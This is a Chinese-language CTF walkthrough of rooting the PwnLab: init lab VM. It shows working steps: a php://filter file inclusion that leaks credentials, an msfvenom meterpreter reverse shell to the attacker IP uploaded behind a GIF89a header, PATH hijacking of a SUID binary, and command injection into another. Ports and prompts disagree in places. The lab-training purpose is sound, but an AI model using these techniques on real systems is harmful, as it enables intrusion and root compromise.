实验环境
攻击者 Kali 192.168.192.128
受害者 pwnlab_init IP未知
攻击者和受害者在同一网段
1. 信息收集
nmap -sn 192.168.192.0/24
受害者IP为 192.168.192.160
收集受害者服务详情
nmap -sV -A 192.168.192.160
80/tcp open http Apache httpd 2.4.10 ((Debian))
111/tcp open rpcbind 2-4 (RPC #100000)
3306/tcp open mysql MySQL 5.5.47-0+deb8u1
进行FUZZ测试
export URL="http://192.168.192.160/FUZZ"
#模糊测试目录 排除404网页
wfuzz -c -z file,/usr/share/seclists/Discovery/Web-Content/raft-large-directories.txt --hc 404 "$URL"
#模糊测试文件 排除404网页
wfuzz -c -z file,/usr/share/seclists/Discovery/Web-Content/raft-large-files.txt --hc 404 "$URL"
upload目录和config.php
2. 漏洞发现和利用
看一下HTTP服务
检测了一下 必须要登录才能上传
直接访问config.php时没有反馈
我们试一下能不能用php://filter来用base64返回
http://192.168.192.160/?page=php://filter/convert.base64-encode/resource=config
解密一下
数据库用户名为root 密码为H4u%QJ_H99
进数据库看一下
看起来密码也被base64加密了
解出来 kent JWzXuBJJNy
登陆一下 我们就可以上传了
写一个木马
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.192.128 LPORT=3333 -o payload.php
删除头部的/*
尝试上传一下payload.php 不允许 只允许上传图片
尝试 payload.php%00.gif payload.jpg.php 都不行
我们在payload里面加入GIF89a的头试一下
上传成功
到/upload目录看一下
确实上传成功
msfconsole -q
use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set lhost 192.168.192.128
set lport 4444
exploit
点击文件
发现没有meterpreter返回
重点
我们返回到网站根目录
http://192.168.192.160/?page=php://filter/convert.base64-encode/resource=index
看一下index.php有没有什么设置
看起来我们需要对cookie进行修改
然后就能得到meterpreter了
3. 后渗透阶段
拿到交互式shell
meterpreter > shell
python -c 'import pty; pty.spawn("/bin/bash")'
尝试一下能不能用已经得到的kent 和 JWzXuBJJNy进入
可以进去
kent@pwnlab:/var/www/html$ cd /home
cd /home
kane@pwnlab:/home$ ls -al
ls -al
total 24
drwxr-xr-x 6 root root 4096 Mar 17 2016 .
drwxr-xr-x 21 root root 4096 Mar 17 2016 ..
drwxr-x--- 2 john john 4096 Mar 17 2016 john
drwxr-x--- 2 kane kane 4096 Mar 17 2016 kane
drwxr-x--- 2 kent kent 4096 Mar 17 2016 kent
drwxr-x--- 2 mike mike 4096 Mar 17 2016 mike
查看一下/home目录
发现还有kane mike john的账号
看了一下kent的家目录 没有什么可以利用的
我们当时在数据库中拿到了 kane kent mike的密码
一个个尝试
发现还可以登录kane的账号
kane iSv5Ym2GRo
kane@pwnlab:~$ ls -al
ls -al
total 28
drwxr-x--- 2 kane kane 4096 Mar 17 2016 .
drwxr-xr-x 6 root root 4096 Mar 17 2016 ..
-rw-r--r-- 1 kane kane 220 Mar 17 2016 .bash_logout
-rw-r--r-- 1 kane kane 3515 Mar 17 2016 .bashrc
-rwsr-sr-x 1 mike mike 5148 Mar 17 2016 msgmike
-rw-r--r-- 1 kane kane 675 Mar 17 2016 .profile
有一个msgmike
我们可以使用strings 来看msgmike的内容
strings msgmike
内容里面有用cat命令 且ls中看到所属者是mike
那我们就考虑能不能环境变脸劫持结合vi提权
环境变量劫持
kane@pwnlab:/tmp$ PATH=/tmp:$PATH
kane@pwnlab:/tmp$ echo $PATH
echo $PATH
/tmp:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games
修改cat
kane@pwnlab:/tmp$ which vi
which vi
/usr/bin/vi
kane@pwnlab:~$ which cat
which cat
/bin/cat
kane@pwnlab:~$ cp /bin/cat /tmp
kane@pwnlab:/tmp$ echo /usr/bin/vi > /tmp/cat
提权
kane@pwnlab:/tmp$ cd /home/kane
kane@pwnlab:~$ ./msgmike
:!sh
成功提权到mike
建立交互式shell
到/home/mike目录看一下
mike@pwnlab:/home/mike$ ls -al
ls -al
total 28
drwxr-x--- 2 mike mike 4096 Mar 17 2016 .
drwxr-xr-x 6 root root 4096 Mar 17 2016 ..
-rw-r--r-- 1 mike mike 220 Mar 17 2016 .bash_logout
-rw-r--r-- 1 mike mike 3515 Mar 17 2016 .bashrc
-rwsr-sr-x 1 root root 5364 Mar 17 2016 msg2root
-rw-r--r-- 1 mike mike 675 Mar 17 2016 .profile
有一个msg2root
再一次用strings查看内容
strings msg2root
Message for root:
/bin/echo %s >> /root/messages.txt
;*2$”(
仔细看 这是有两个命令的 输入第一个命令传给 %s 输入第二个命令传给*2$”(
那么这就简单了 直接连接两个命令就可以了
./msg2root
test;/bin/sh
不知道为什么 /bin/bash是不可以的 还是mike 同时如果用python得交换式shell 也不行 权限还是mike
所以用/bin/sh代替
cd /root
/bin/cat flag.txt
由于已经改了环境变量 所以cat要是绝对路径
实验结束